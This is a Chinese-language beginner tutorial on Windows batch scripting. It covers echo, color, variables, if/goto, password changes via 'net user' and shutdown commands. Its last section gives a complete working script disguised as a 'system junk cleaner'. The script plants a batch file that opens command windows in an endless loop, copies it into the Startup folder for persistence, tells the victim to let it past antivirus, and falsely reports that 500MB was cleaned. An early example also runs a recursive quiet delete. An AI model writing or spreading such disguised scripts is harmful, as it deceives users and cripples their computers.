初识批处理
- 如何批处理:
命名:.bat
方法:创建一个记事本文件,然后将其扩展改为.bat
- 批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条。
- 运行环境:当然是我们cmd了
回归我学过的任何一门语言都是从一个简单的**程序开始的,批处理也同样如此
1、引入
- d:
- cd\
- cd temp
- del ,/s/q
我们把几条dos命令汇聚在一起,这就进入了批处理的范畴
2、echo 输出
@echo off
color 0a
title 飞哥小程序v1.0
echo ==========================
echo 菜单
echo 1、修改管理员密码
echo 2、定时关机
echo 3、退出本程序
echo ===========================
pause
看不懂?先不急,我们先来看一下运行效果:
@echo off #关闭回显
color 0a #设置窗口显示颜色
- color:
- 指定控制台输出的颜色属性
- 颜色属性由两个十六进制数字指定 -- 第一个为背景,第二个则为文字颜色。
- 每个数字可以为以下任何值之一:
- 0 = 黑色 8 = 灰色
- 1 = 蓝色 9 = 淡蓝色
- 2 = 绿色 A = 淡绿色
- 3 = 湖蓝色 B = 淡浅绿色
- 4 = 红色 C = 淡红色
- 5 = 紫色 D = 淡紫色
- 6 = 黄色 E = 淡黄色
- 7 = 白色 F = 亮白色
- 例如: "cilor fc" 亮白色背景,淡红色文字颜色。
title #设置程序名
例如:title 飞哥小程序v1.0
pause #暂停屏幕(没有这条语句,我们是看不到上图的显示效果的,程序只会一闪而过)
3、变量
@echo off
color 0a
title 飞哥小程序v1.0
echo ==========================
echo 菜单
echo 1、修改管理员密码
echo 2、定时关机
echo 3、退出本程序
echo ===========================
set /p u=请输入用户名:
set /p p=请输入新密码:
net user %u% %p% >nul
pause
同样我们先来看下效果:
set /p u= ( 字符串 ) #获取输入的字符,将其赋值给变量u
%u% #提取变量u的值
net user 用户名 密码 #修改账户密码(windows所有平台支持)
>nul #清除一条命令执行后系统反馈
再来看一下效果:
后面的“命令成功完成”就不见了!
4、if、goto
@echo off
color 0a
title 飞哥小程序v1.0
:menu
cls
echo ==========================
echo 菜单
echo 1、修改管理员密码
echo 2、定时关机
echo 3、退出本程序
echo ===========================
set /p num=您的选择是:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 被闹,好好输!
pause
goto menu
:1
set /p u=请输入用户名:
set /p p=请输入新密码:
net user %u% %p% >nul
echo 您的密码已经设置成功!
pause
goto menu
:2
set /p time=请输入时间:
shutdown -s -t %time%
set /p x=是否取消(1:是,0:否):
if "%x%"=="1" shutdown -a
goto menu
pause
:3
exit
分区块
:menu
"menu"区块
:1
“1”区块
:2
“2”区块
:3
"3"区块
goto 区块名 #程序跳该区块
例如:goto menu #程序跳至“menu区块”
if "%num%"=="1" 命令1 #如果条件成立,执行命令1;条件不成立,跳过命令1,向下走
cls #清屏
shutdown -s -t 100 #定时关机
- 常用shutdown命令:
- shutdown -a #取消关机
- shutdown -s #关机
- shutdown -f #强行关闭应用程序
- shutdown -l #注销当前用户
- shutdown -r #关机并重启
- shutdown -s -t 时间 #定时关机
- shutdown -h #休眠
- 更多的 cmd:
- shutdown ?
- 查看
好了,通过我们以上所学的命令,这样一个简单的批处理程序就写完了。
5、简单的批处理文件一
功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出CMD窗口
@echo off
title 系统垃圾清理
color 2f
echo =======若杀毒软件恶意拦截,请选择【允许程序的所有操作】========
echo.
echo.
echo :start>c:\windows\windows.bat
echo start cmd>>c:\windows\windows.bat
echo goto start>>c:\windows\windows.bat
copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\" >nul
if %errorlevel%==0 goto next
copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动" >nul
if %errorlevel%==1 goto error
:next
echo.
echo.
echo ====== 垃圾清理中,请不要关闭窗口======
echo.
ping -n 5 127.0.0.1 >nul
echo.
echo ====== 垃圾清理完毕,共清理垃圾500M===
echo.
echo.
echo ====== 建议立即重启电脑
pause
goto ex
:error
echo.
echo.
echo ====== 程序运行失败,请使用【管理员权限】重新运行!======
echo.
pause
goto ex
:ex
exit
echo. #输出一个空